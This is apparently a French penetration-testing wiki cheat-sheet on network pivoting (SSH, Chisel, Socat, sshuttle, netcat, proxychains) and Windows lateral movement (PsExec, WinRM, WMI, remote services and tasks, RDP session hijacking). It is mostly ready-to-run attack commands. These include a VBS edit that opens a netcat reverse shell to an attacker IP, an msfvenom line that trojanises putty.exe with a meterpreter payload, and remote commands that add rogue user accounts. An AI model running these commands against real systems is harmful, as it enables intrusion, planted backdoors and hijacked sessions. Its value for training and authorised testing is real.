# Pivoting

Pivoter pour mieux régner !

# [Pivoting] Port forwarding

## Introduction

Dans le cas d'une compromission d'une infrastructure où une machine cible n'est pas directement accessible, il va falloir établir un **tunnel** entre vous et la machine cible en passant par une machine intermédiaire, qui a elle, accès à la machine cible.

On va devoir mettre en place un **reverse proxy** sur la machine intermédiaire pour pouvoir router les paquets sur la ou les machines cibles.

[![image.png](https://wiki.neopipe.fr/uploads/images/gallery/2023-10/scaled-1680-/biOimage.png)](https://wiki.neopipe.fr/uploads/images/gallery/2023-10/biOimage.png)

## SSH

Il est possible de faire du port forwarding avec le service SSH.

<p class="callout warning">La machine intermédiaire doit être munie d'un serveur SSH et vous devez avoir des accès SSH pour vous connecter dessus.</p>

#### Local port forwarding

[![image.png](https://wiki.neopipe.fr/uploads/images/gallery/2024-02/scaled-1680-/zKFimage.png)](https://wiki.neopipe.fr/uploads/images/gallery/2024-02/zKFimage.png)

```
ssh -L <LOCAL_PORT>:<DESTINATION_IP>:<DST_PORT> <REMOTE_USER>@<REMOTE_IP>
```

<p class="callout success">Vous devriez pouvoir accéder à votre service via **localhost:&lt;LOCAL\_PORT&gt;**</p>

<p class="callout info">**Le tunnel restera ouvert tant que la session SSH est active.**</p>

#### Remote port forwarding

[![Capture d’écran du 2024-02-06 21-03-23.png](https://wiki.neopipe.fr/uploads/images/gallery/2024-02/scaled-1680-/capture-decran-du-2024-02-06-21-03-23.png)](https://wiki.neopipe.fr/uploads/images/gallery/2024-02/capture-decran-du-2024-02-06-21-03-23.png)

```
ssh -R <LISTENER_PORT>:<DST_IP>:<DST_PORT> <LISTENER_USER>@<LISTENER_IP>
```

<p class="callout success">Cette commande exposera le service du **DST** sur le **LISTENER**.</p>

## Chisel

#### Prérequis

- Trouvez un port non utilisé (absent de cette liste) :

```bash
(netstat -punta || ss -n -t -p -u)
```

#### Installation

Voici le lien github de l'outil :

- [https://github.com/jpillora/chisel/](https://github.com/jpillora/chisel/)

Vous pouvez installer l'outil sur le poste intermédiaire si vous avez les droits **root** grâce à la commande suivante :

```bash
curl https://i.jpillora.com/chisel! | bash
```

Téléchargez le binaire (version 19.1) :

```bash
curl -O -L https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_linux_amd64.gz && gunzip chisel_1.9.1_linux_amd64.gz && mv chisel_1.9.1_linux_amd64 chisel && chmod +x chisel
```

#### Port forwarding

- Sur le <span style="text-decoration: underline;">pc intermédiaire</span>, lancez la commande suivante :

```bash
./chisel server -p <LISTENER_PORT>
```

- Puis sur le <span style="text-decoration: underline;">pc de l'attaquant</span>, exécutez la commande suivante :

```bash
./chisel client <LISTENER_IP>:<LISTENER_PORT> <LOCAL_PORT>:<TARGET_IP>:<TARGET_PORT>
```

<p class="callout success">Sur la machine de l'attaquant vous pourrez accéder au service via **localhost:&lt;LOCAL\_PORT&gt;**</p>

#### Reverse port forwarding

- Sur le <span style="text-decoration: underline;">poste de l'attaquant</span> :

```bash
./chisel server <INTERMEDIATE_IP> -p <INTERMEDIATE_PORT> --reverse
```

- Puis sur le <span style="text-decoration: underline;">pc intermédiaire</span>, exécutez la commande suivante :

```bash
./chisel client <LISTENER_IP>:<LISTENER_PORT> R:<LOCAL_PORT>:<TARGET_IP>:<TARGET_PORT>
```

<p class="callout success">Sur la machine de l'attaquant vous pourrez accéder au service via **localhost:&lt;LOCAL\_PORT&gt;**</p>

## Socat

#### Installation

Voici le Github du projet :

- [https://github.com/3ndG4me/socat](https://github.com/3ndG4me/socat)

Pour télécharger le binaire :

```bash
curl -o socat -L https://github.com/3ndG4me/socat/releases/download/v1.7.3.3/socatx64.bin && chmod +x socat
```

Sinon, installez le depuis les dépôts :

```bash
apt install -y socat
```

#### Port forwarding

```bash
socat TCP-LISTEN:<LOCAL_PORT>,fork TCP:<REMOTE_IP>:<REMOTE_PORT>
```

<p class="callout success">Le service de la machine **REMOTE** sera exposé sur le **LOCAL\_PORT** de la machine qui exécute la commande.</p>

## Sshuttle

Ce logiciel permet d'établir une connexion VPN à travers un tunnel SSH sans nécessiter de privilège root sur la machine distante :

- [https://github.com/sshuttle/sshuttle](https://github.com/sshuttle/sshuttle)

```bash
sshuttle -vr <REMOTE_BRIDGE> <REMOTE_NETWORK>
```

<p class="callout warning">Tous le trafic sera routé par le réseau distant !</p>

Voici un exemple :

```bash
sshuttle -vr username@target-ip 10.1.1.0/24
```

## Netcat

Il est possible de faire du port forwarding avec Netcat grâce à certaines options.

Depuis la machine attaquante :

```bash
nc -lv --broker --max-conns 2
```

Et sur la machine intermédiaire :

```bash
nc -nv <ATTACKER_IP> 31337 -c 'nc -nv <TARGET_IP> <TARGET_PORT>'
```

## Proxychains / SSH Forwarding

Cette technique va vous permettre d'effectuer des scans nmap en passant par la commande proxychains qui va faire passer les paquets dans le tunnel SOCKS SSH, ce qui n'est pas possible avec les autres techniques car elles permettent d'exposer qu'un seul port.

Tout d'abord, créer le tunnel SSH :

```bash
ssh -D <LOCAL_PORT> -f -N <BRIDGE_USER>@<BRIDGE_IP>
```

Ensuite, créez votre configuration proxychains dans le fichier **/etc/proxychains4.conf** :

```
tcp_read_time_out 800
tcp_connect_time_out 800

[ProxyList]
socks4 127.0.0.1 <LOCAL_PORT>
```

Désormais, vous pouvez lancer votre scan nmap en passant par la commande proxychains :

```bash
proxychains nmap -Pn -p- --top-ports 10 -sT <TARGET_IP>
```

# Windows

# [Windows/Pivoting] Cheat-sheet

## Introduction

Le pivoting sur Windows ou plus généralement dans un environnement Active Directory est souvent utilisé pour passer d'une machine A à une machine B.

## [![image.png](https://wiki.neopipe.fr/uploads/images/gallery/2024-02/scaled-1680-/h2Qimage.png)](https://wiki.neopipe.fr/uploads/images/gallery/2024-02/h2Qimage.png)Source

- [TryHackMe - Lateral Movement Pivoting](https://tryhackme.com/room/lateralmovementandpivoting?path=undefined)

## Cheat-sheet

#### PsExec

[![image.png](https://wiki.neopipe.fr/uploads/images/gallery/2024-02/scaled-1680-/YMXimage.png)](https://wiki.neopipe.fr/uploads/images/gallery/2024-02/YMXimage.png)

Voici le lien pour télécharger **PsExec** :

- [https://learn.microsoft.com/fr-fr/sysinternals/downloads/psexec](https://learn.microsoft.com/fr-fr/sysinternals/downloads/psexec)

```powershell
psexec64.exe \\<IP> -u <USER> -p <PASSWORD> -i cmd.exe
```

<p class="callout info">PsExec utilise le partage administratif **ADMIN$**, fonctionne avec Samba sur le port **445** et requiert les droits **Administrateurs**.</p>

#### WinRM

L'avantage de **WinRM** est qu'il ne nécessite que le privilège **Remote Management Users** pour fonctionner et qu'il est actif et présent sur les systèmes Windows par défaut.

On peut utiliser l'**exécutable** :

```powershell
winrs.exe -u:<USER> -p:<PASSWORD> -r:target cmd
```

Ou alors, on peut l'utiliser en **Powershell** en créant un objet avec les identifiants :

```powershell
$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force; 
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
```

Puis pour obtenir une session interractive :

```powershell
Enter-PSSession -Computername <TARGET> -Credential $credential
```

Ou pour exécuter un bloc de code powershell :

```powershell
Invoke-Command -Computername TARGET -Credential $credential -ScriptBlock {whoami}
```

#### Service personnalisé

Il est possible de créer un service personnalisé pour pivoter si on a les droits **Administrateurs** en utilisant les **Pipes RPC over SMB**.

**Créer** le service :

```powershell
sc.exe \\<TARGET> create THMservice binPath= "net user munra Pass123 /add" start= auto
```

**Démarrer** le service :

```
sc.exe \\<TARGET> start THMservice
```

Pour **arrêter** et **supprimer** le service :

```powershell
sc.exe \\<TARGET> stop THMservice
```

```powershell
sc.exe \\<TARGET> delete THMservice
```

#### Tâche planifiée

Il est possible de créer une tâche planifiée à distance :

```powershell
schtasks /s TARGET /RU "SYSTEM" /create /tn "THMtask1" /tr "<COMMAND/PAYLOAD>" /sc ONCE /sd 01/01/1970 /st 00:00 
```

Et démarrer la tâche :

```powershell
schtasks /s TARGET /run /TN "THMtask1" 
```

Pour supprimer la tâche planifiée :

```powershell
schtasks /S TARGET /TN "THMtask1" /DELETE /F
```

#### Session WMI

Il est possible d'exécuter une commande sur un hôte distant avec WMI :

```
wmic.exe /user:Administrator /password:Mypass123 /node:<TARGET> process call create "cmd.exe /c calc.exe" 
```

<p class="callout info">Il est aussi possible de le faire en powershell :</p>

Tout d'abord, il faut créer un objet **PSCredential** :

```powershell
$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
```

Pour ensuite établir une **session WMI** :

```powershell
$Opt = New-CimSessionOption -Protocol DCOM
$Session = New-Cimsession -ComputerName TARGET -Credential $credential -SessionOption $Opt -ErrorAction Stop
```

#### Création d'un processus à distance avec WMI

On peut ensuite créer un **processus** sur l'hôte distant :

```powershell
$Command = "powershell.exe -Command Set-Content -Path C:\text.txt -Value munrawashere";

Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{
CommandLine = $Command
}
```

<p class="callout warning">Vous n'aurez pas de retour sur la commande exécutée avec WMI, alors assurez-vous de ne pas vous tromper dans la syntaxe !</p>

#### Création d'un service à distance avec WMI

Si on le souhaite, on peut aussi créer un **service** sur l'hôte distant :

```powershell
Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @{
Name = "THMService2";
DisplayName = "THMService2";
PathName = "net user munra2 Pass123 /add"; # Your payload
ServiceType = [byte]::Parse("16"); # Win32OwnProcess : Start service in a new process
StartMode = "Manual"
}
```

On peut gérer et **démarrer le service** de cette manière :

```powershell
$Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE 'THMService2'"

Invoke-CimMethod -InputObject $Service -MethodName StartService
```

Et on peut **arrêter** et **supprimer** le service comme cela :

```powershell
Invoke-CimMethod -InputObject $Service -MethodName StopService
Invoke-CimMethod -InputObject $Service -MethodName Delete
```

#### Création d'une tâche planifiée à distance avec WMI

On peut **créer une tâche planifiée** sur l'hôte distant grâce à WMI :

```powershell
# Payload must be split in Command and Args
$Command = "cmd.exe"
$Args = "/c net user munra22 aSdf1234 /add"

$Action = New-ScheduledTaskAction -CimSession $Session -Execute $Command -Argument $Args
Register-ScheduledTask -CimSession $Session -Action $Action -User "NT AUTHORITY\SYSTEM" -TaskName "THMtask2"
Start-ScheduledTask -CimSession $Session -TaskName "THMtask2"
```

Si on le souhaite, on peut **supprimer** la tâche avec cette commande :

```powershell
Unregister-ScheduledTask -CimSession $Session -TaskName "THMtask2"
```

#### Installer un paquet MSI à distance avec WMI

On peut le faire avec la commande suivante :

```powershell
wmic /node:TARGET /user:DOMAIN\USER product call install PackageLocation=c:\Windows\myinstaller.msi
```

Ou en Powershell comme ceci :

```powershell
Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\myinstaller.msi"; Options = ""; AllUsers = $false}
```

#### Resource sur un partage réseau

Parfois, pour ne pas déployer un logiciel ou un script sur tous les postes d'un parc, les administrateurs mettent des fichiers exécutables ou des scripts sur des partages réseau et crééent des raccourcis sur le bureau ou la barre des tâches des postes.

[![image.png](https://wiki.neopipe.fr/uploads/images/gallery/2024-02/scaled-1680-/wa2image.png)](https://wiki.neopipe.fr/uploads/images/gallery/2024-02/wa2image.png)

<p class="callout success">Cependant, si vous avez un accès en écriture à l'exécutable ou au script pointé, vous pouvez le modifier et attendre qu'il soit exécuté par un autre utilisateur afin de pivoter sur son système.  
</p>

<p class="callout info">A noter que la resource, une fois exécutée, est copiée dans le répertoire temporaire du poste exécutant **%tmp%**.</p>

- Si la resource pointée est un **script VBS**, vous pourriez le modifier de la sorte :

```vbscript
CreateObject("WScript.Shell").Run "cmd.exe /c copy /Y \\10.10.28.6\myshare\nc64.exe %tmp% & %tmp%\nc64.exe -e cmd.exe <attacker_ip> 1234", 0, True
```

Si la resource pointée est un **exécutable**, vous pourriez l'infecter avec **Metasploit** comme cela :

```bash
msfvenom -a x64 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=<ATTACKER_IP> lport=4444 -b "\x00" -f exe -o puttyX.exe
```

#### RDP Hijacking  


Lorsqu'un utilisateur se connecte sur un session en RDP et qu'il feme le client RDP mais non la session, celle-ci reste ouverte indéfiniment.

Cependant, avec les **privilèges System**, il est possible de se connecter à n'importe quel session ouverte.

Pour cela, commencez par lister les sessions ouvertes :

```powershell
query user
```

Vous devriez voir apparaître quelque chose comme ça :

```
 USERNAME              SESSIONNAME        ID  STATE   IDLE TIME  LOGON TIME
>administrator         rdp-tcp#6           2  Active          .  4/1/2022 4:09 AM
 luke                                    3  Disc            .  4/6/2022 6:51 AM
```

Connectez-vous à la session active de votre choix :

```powershell
tscon 3 /dest:rdp-tcp#6
```